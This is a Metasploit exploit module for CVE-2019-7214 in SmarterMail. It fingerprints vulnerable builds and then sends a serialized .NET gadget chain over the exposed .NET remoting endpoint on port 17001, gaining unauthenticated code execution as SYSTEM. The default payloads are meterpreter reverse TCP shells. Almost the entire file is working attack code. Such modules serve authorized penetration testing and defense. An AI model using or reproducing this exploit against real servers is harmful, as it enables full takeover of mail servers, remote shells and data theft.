##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SmarterTools SmarterMail less than build 6985 - .NET Deserialization Remote Code Execution',
        'Description' => %q{
          This module exploits a vulnerability in the SmarterTools SmarterMail
          software for version numbers <= 16.x or for build numbers < 6985.
          The vulnerable versions and builds expose three .NET remoting endpoints
          on port 17001, namely /Servers, /Mail and /Spool. For example, a
          typical installation of SmarterMail Build 6970 will have the /Servers
          endpoint exposed to the public at tcp://0.0.0.0:17001/Servers, where
          serialized .NET commands can be sent through a TCP socket connection.

          The three endpoints perform deserialization of untrusted data
          (CVE-2019-7214), allowing an attacker to send arbitrary commands
          to be deserialized and executed. This module exploits this vulnerability
          to perform .NET deserialization attacks, allowing remote code execution
          for any unauthenticated user under the context of the SYSTEM account.
          Successful exploitation results in full administrative control of the
          target server under the NT AUTHORITY\SYSTEM account.

          This vulnerability was patched in Build 6985, where the 17001 port is
          no longer publicly accessible, although it can be accessible locally
          at 127.0.0.1:17001. Hence, this would still allow for a privilege
          escalation vector if the server is compromised as a low-privileged user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Soroush Dalili',     # Original discovery and PoC
          '1F98D',              # ExploitDB author
          'Ismail E. Dawoodjee' # Metasploit module author
        ],
        'References' => [
          [ 'CVE', '2019-7214' ],
          [ 'EDB', '49216' ],
          [ 'URL', 'https://research.nccgroup.com/2019/04/16/technical-advisory-multiple-vulnerabilities-in-smartermail/' ]
        ],
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'x86/x64 Windows CmdStager',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_cmdstager,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
                'CmdStagerFlavor' => 'vbs'
              },
              'CmdStagerFlavor' => %w[vbs certutil]
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2019-04-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(9998, true, 'SmarterMail default HTTP port'),
        OptString.new('TARGETURI', [true, 'Base path', '/']),
        OptInt.new('TCP_PORT', [true, 'SmarterMail default .NET remoting port', 17001]),
        OptString.new(
          'ENDPOINT', [
            true,
            'Choose one of three exposed endpoints: Servers, Spool, and Mail. Example - tcp://127.0.0.1:17001/Servers',
            'Servers'
          ]
        )
      ]
    )
  end

  def check
    print_status('Checking target web server for a response...')
    res = send_request_cgi!({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    if res
      body = res.body
    else
      return CheckCode::Unknown('Target did not respond to check request.')
    end

    unless res.code == 200 && body.downcase.include?('smartermail')
      return CheckCode::Unknown('Target is not running SmarterMail.')
    end

    print_good('Target is running SmarterMail.')

    print_status('Checking SmarterMail product build...')
    product_build = body.match('stProductBuild.*\s\(')
    build_number = product_build.to_s.scan(/\d+/)[0] if product_build

    if product_build
      print_good("Target is running SmarterMail Build #{build_number}.")
    else
      print_warning('Product build not found. 16.x versions and below do not have a build number.')
    end

    if product_build && Rex::Version.new(build_number) < Rex::Version.new('6985')
      return CheckCode::Appears
    end

    print_status('Checking SmarterMail product version...')
    product_version = body.match('stProductVersion.*')
    version_number = product_version.to_s.split('"')[1] if product_version

    unless product_version
      return CheckCode::Detected('SmarterMail product version cannot be determined.')
    end

    print_good("Target is running SmarterMail Version #{version_number}.")

    if Rex::Version.new(version_number) <= Rex::Version.new('16.3.6989.16341')
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def execute_command(cmd, _opts = {})
    uri = "tcp://#{datastore['RHOST']}:#{datastore['TCP_PORT']}/#{datastore['ENDPOINT']}"

    serialized = ::Msf::Util::DotNetDeserialization.generate(
      cmd,
      gadget_chain: :TypeConfuseDelegate,
      formatter: :BinaryFormatter
    )

    preamble = '.NET'.unpack('C*')                         # Header
    preamble += [0x01]                                     # Version Major
    preamble += [0x00]                                     # Version Minor
    preamble += [0x00, 0x00]                               # Operation Type
    preamble += [0x00, 0x00]                               # Content Distribution
    preamble += [serialized.length].pack('I').unpack('C*') # Serialized Data Length
    preamble += [0x04, 0x00]                               # URI Header
    preamble += [0x01]                                     # Data Type
    preamble += [0x01]                                     # Encoding - UTF8
    preamble += [uri.length].pack('I').unpack('C*')        # URI Length
    preamble += uri.unpack('C*')                           # URI
    preamble += [0x00, 0x00]                               # Terminating Header
    data = preamble + serialized.unpack('C*')              # Data to Send
    final_payload = data.pack('C*')

    begin
      sock = Rex::Socket::Tcp.create(
        'PeerHost' => datastore['RHOST'],
        'PeerPort' => datastore['TCP_PORT'],
        'Proxies' => datastore['Proxies'],
        'Context' => {
          'Msf' => framework,
          'MsfExploit' => self
        }
      )
      sock.write(final_payload)
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      print_error("Failed: #{e.class} - #{e.message}")
      elog(e)
    ensure
      sock.close if sock
    end
  end

  def exploit
    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :windows_cmdstager
      execute_cmdstager
    end
  end

end
